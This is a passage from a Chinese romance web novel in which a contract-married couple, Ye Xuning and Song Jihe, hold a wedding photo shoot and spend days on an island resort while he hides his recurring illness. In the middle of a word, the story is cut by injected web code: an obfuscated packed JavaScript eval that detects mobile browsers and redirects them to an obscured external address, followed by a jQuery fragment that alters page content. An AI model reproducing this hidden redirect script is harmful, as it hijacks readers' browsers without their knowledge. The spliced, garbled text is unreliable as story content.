叶煦宁的心跳快了几分,目光在他的脸上梭巡,从睫毛,漂亮的眼睛,到高挺的鼻梁,再到涂了润唇膏的薄唇。
宋霁和控制着呼吸,克制地看向她的脸颊。两人视线错开,沐浴在阳光下的朦胧蔓延,似乎整个世界都静了下来,只有交织的呼吸和不远处清脆的喷泉声,谱写着此刻。
摄影师提醒可以了的第二秒,宋霁和猛地收回了手,撤开到安全距离,侧过头,不动声色地平复着呼吸。
叶煦宁摸了摸心口,有点紧张是真的,但只是拍照而已,不在话下。反而是宋霁和看起来更不自在。
她没让宋霁和接,往护栏上一撑,轻盈落地,拍了拍手。
后面又拍了几张拥抱的姿势。叶煦宁感觉宋霁和的僵硬已经逐渐变成了麻木,好几次她险些笑场,都硬生生忍住了。
庄园的第一套拍完,几人回到了在岛上的水屋。第二套造型是一字肩领口,灵动的蝴蝶花纹落在裙身上,错落有致的蓝纱剪裁成水流的波浪。
原本散落的长发扎成丸子头,叶煦宁觉得配王冠有点夸张,便选择了工作室带来的羽毛头饰。宋霁和也换了身白色西装。
第二套主要是在海滩拍,姿势大差不差。
望着长长的木桥,叶煦宁忽然起意,拉着宋霁和去了尽头。
木桥延伸了不知道多远后断掉,再远处就不适合游客靠近了。飞鸟掠过,大海与蓝天连成线,一望无际。
“我想拍个背影,我们就坐在这里怎么样?”叶煦宁转头问他。
宋霁和注意到她憧憬期盼的神情,顺从地同意了。
终于,赶在日落前结束了拍摄。只是拍两套,叶煦宁就已经累得不行。回到水屋,她换下婚纱拆掉发饰交给工作室的人,直接卸了妆去舒舒服服泡了个澡。
由于水屋独特的设计,浴缸是直接摆放在外,只有墙壁遮挡,不像淋浴间是单独的小隔间。宋霁和等到叶煦宁出来后才能去洗漱。
叶煦宁叫住拿着睡衣的宋霁和,指了指他的脸:“你要先卸妆哦,得用卸妆油,水洗洗不干净的。”
她径直走到洗漱台前,朝宋霁和招了招手,认真给他讲解卸妆油的用法。
男人眉头轻拧,像一直以来地那样准确迅速地理解了又一个他从未想过会学习的知识点。
因为一下午的拍摄太耗精力,晚餐也是让管家直接送到房间。
叶煦宁顺便问了原订房间的修缮进度,管家却说由于漏水严重,加上旅游热季的忙碌,最快也得后天修好,并再次表达了歉意。
两人在小岛只安排了四天的行程,大后天就退房去洛提亚主岛住了。这就换一天还不如不换,可让宋霁和睡三晚的沙发也不太好。
叶煦宁把管家的话转告给了宋霁和,他平静地接受了继续睡沙发的现实。
叶煦宁:“要不问问主岛那边的酒店,能不能提前一两天入住。我们早点过去那边你就不用睡沙发了。”
宋霁和:“你不是预约了好几个项目,不玩了吗?”
叶煦宁咬着唇又纠结起来,海钓、浮潜、追海豚等项目她都是很感兴趣,期盼了许久的。
“不用担心,睡沙发没什么。”宋霁和淡然地帮她切着牛排。这跟他早已习惯的生病治疗相比完全是大巫见小巫。
叶煦宁抽了抽鼻子,咬着他切好的牛排,一副感动的模样:“你人真好。”
她数着手指:“那你明天和我一起吗?我打算上午去海滩拍照,下午浮潜,晚上去看篝火晚会的表演。”
宋霁和摇了摇头:“我提前帮你约了一位这边的导游,和你年纪差不多的女生,让她陪你。”
叶煦宁愣住,没想到他安排得这么全面:“那你就待在酒店吗?很无聊的。”
宋霁和“嗯”了一声,不欲多说。
他和叶煦宁只是协议夫妻,没必要做多余的事。有熟悉这的女生带着,她应该会玩得更开心。
-
上午,宋霁和请的导游准时到达他们的水屋。叶煦宁起晚了,急匆匆地换好衣服跑出来。
她抓起床上的手机,朝宋霁和挥了挥手,笑道:“那我就先走了,中午吃饭的时候再回来。”
女孩身上嫩绿色连衣裙妥帖地贴着肌肤,肩上吊带是蝴蝶结款式,波浪裙摆下一双匀称白皙的腿十分惹眼。她化了淡妆,唇瓣染着桃红。
宋霁和目光被烫了下,有些狼狈地移开视线,点了点头,让她注意安全。
导游陈娅是一名华裔,在洛提亚生活了十几年,从大学开始就开始兼职导游,到现在也有六七年的经验了。她的皮肤因为常年晒太阳而显出健康的小麦色,性格外向活泼,很会聊天,两人很快就热络起来。
上午海滩上的游客并不多,零零散散。郁郁葱葱的椰子林在阳光的照射下投下阴影,碧蓝的海水缓缓地冲刷着白色的细沙,近处清澈见底,远处深邃而神秘。
陈娅的拍照技术一流,还很擅长指导动作,给叶煦宁拍了许多美照。
叶煦宁翻着相机,满意地地感慨:“你好会拍呀,我都挑不出来到时候发哪几张!”
“宝贝,是你太漂亮了,怎么拍都好看。”娅娅笑着回答。
两人互相拍了会马屁,又一起在海边散步,很快就到了午餐时间。
叶煦宁回去找宋霁和,推门时正好撞见他仰头喝水,有明显的吞咽动作,桌上有个打开的像是药盒的方盒。
宋霁和听见脚步声的瞬间,立刻将药盒抓在手心。叶煦宁却几个大跨步闪身到了他跟前,有些焦急:“你又生病了?”
宋霁和微怔,温声解释:“没有,有点头疼,可能是水土不服。”
叶煦宁满脸不信,生硬地抢过他手中的药盒,在手机上查了一下,确实是治头疼的药物。接着又踮起脚碰了碰宋霁和的额头,确定体温是正常的,这才稍微放下心。
“那你怎么一见我就想把药藏起来?”她皱着眉头,嘴角压平。
宋霁和:“头疼很常见,没什么大不了的。”
他可没这么脆弱,不然早就死了。
而且,脆弱的那面意外展示过一次已经够了。
叶煦宁心底又泛起几分怜惜来,难以想象这些年他到底是怎么捱过来的。小时候的情况应该更严重,可她那么久却从未发现过。
吃过饭,两人回到水屋。叶煦宁见他往沙发那边走,急忙拦住他,语气忽然强势起来:“你生病了,去睡床上。”
宋霁和没什么表情:“你不是答应过,不要再说……”
“我又不是说我们一起睡!”叶煦宁声音拔高,不自觉瞪了他一眼,“你都头疼了,再睡沙发是想腰也疼吗。”
这人怎么这么犟呢。
宋霁和脸上神情不似那晚上的危险,只是沉默不语。
僵持
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15084300|163440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间,叶煦宁面色不虞:“快去,你好好睡觉,不然我……不然我下午都玩不开心了。”
最后,叶煦宁离开去浮潜时,放了杯热水在床头。宋霁和已经躺在床上睡着了,躺的还是她没躺过的那半边床。
在船上,叶煦宁还有点忧心忡忡,可到了目的区域后,便全身心投入了浮潜之中。先是简短的培训,然后教练带着两人下水。
海底又是另一个世界,梦幻的深蓝中,色彩斑斓的鱼群游曳在形态各异的珊瑚礁之间,如同画布上泼洒的绚丽颜料。从浅海到深处,与海洋共同呼吸。
陈娅用海底相机帮她记录。浮潜结束后,教练又带着两人探索了一个小岛,到了傍晚才返航。
篝火晚会在晚上七点开始,叶煦宁先回了水屋洗澡。宋霁和给她提前发消息说自己去餐厅吃饭了,头疼好了许多,让她不用担心。
篝火晚会在沙滩上举行,屋檐挂上了精致的彩灯,长桌上摆满美味的吃食,还有当地的特色歌舞表演。来了许多游客,氛围好不热闹。
陈娅去餐饮区拿饮料,叶煦宁站在外围兴致勃勃地欣赏着舞蹈表演。
忽然,肩膀被拍了拍。叶煦宁转头,看见一名个子很高,年轻的卷发男生。
他手中拿着杯子,笑起来露出一口大白牙,声线爽朗,中文有些别扭:“姐姐,可以请你喝杯果汁吗?”
叶煦宁礼貌拒绝了。
男生没有失落,紧追不舍道:“那我们可以认识一下吗,姐姐?”
“你好漂亮,我很喜欢你。”
他大概是外国人,虽然口音奇怪但表达还算流畅,并且十分直白,无论是话语还是眼神。热情得像只小狗,却因这份直爽,让人生不出讨厌来。
叶煦宁无奈道:“我结婚了。”
男生惊讶地睁大眼,看向她的左手,有些委屈:“姐姐,你不用骗我啊。”
叶煦宁感到莫名其妙,正想要抬手展示她的婚戒,这才发现左手无名指空空如也——下午要浮潜不方便,她就把戒指摘了放在包里,忘了再戴上。
“我真的结婚了,没必要骗你。”叶煦宁加重了语气,认真回应。
男生还想再说些什么,忽然身后似乎是有人叫了他的名字,他恋恋不舍地看了眼叶煦宁,往那边走去,不仅挥手道别,还三步一回头。
刚巧陈娅也回来了,把饮料递给叶煦宁,两人继续看表演。
另一边,坐在床边的宋霁和看着聊天界面。陈娅上面发来的是几张上午在海滩边拍的叶煦宁的照片,中间夹杂着文字的行程汇报。
最新一条是五分钟前,说叶煦宁被一名外国小男生搭讪了,不过两人没聊什么,交流很短暂,她没来得及阻止。
现在是将近九点,篝火晚会会持续到十点。
宋霁和沉默地关掉手机,喝了口水,喉咙的干涩得到缓解,却感觉原本好些的头疼又卷土重来了,脑袋有些发晕。
他订好四十分钟后的闹钟,关上了灯。
……
打开门,屋内一片漆黑。
宋霁和应该是先睡了。叶煦宁想着,打开手机手电筒,放轻脚步走进来,按下窗边落地灯的开关。
昏黄微弱的灯光照亮一个小角落,沙发上的被子掀开,空空荡荡。
大床的右半边,宋霁和整个人埋在被子里,呼吸很轻,黑发柔软,只露出漂亮又脆弱的半张脸。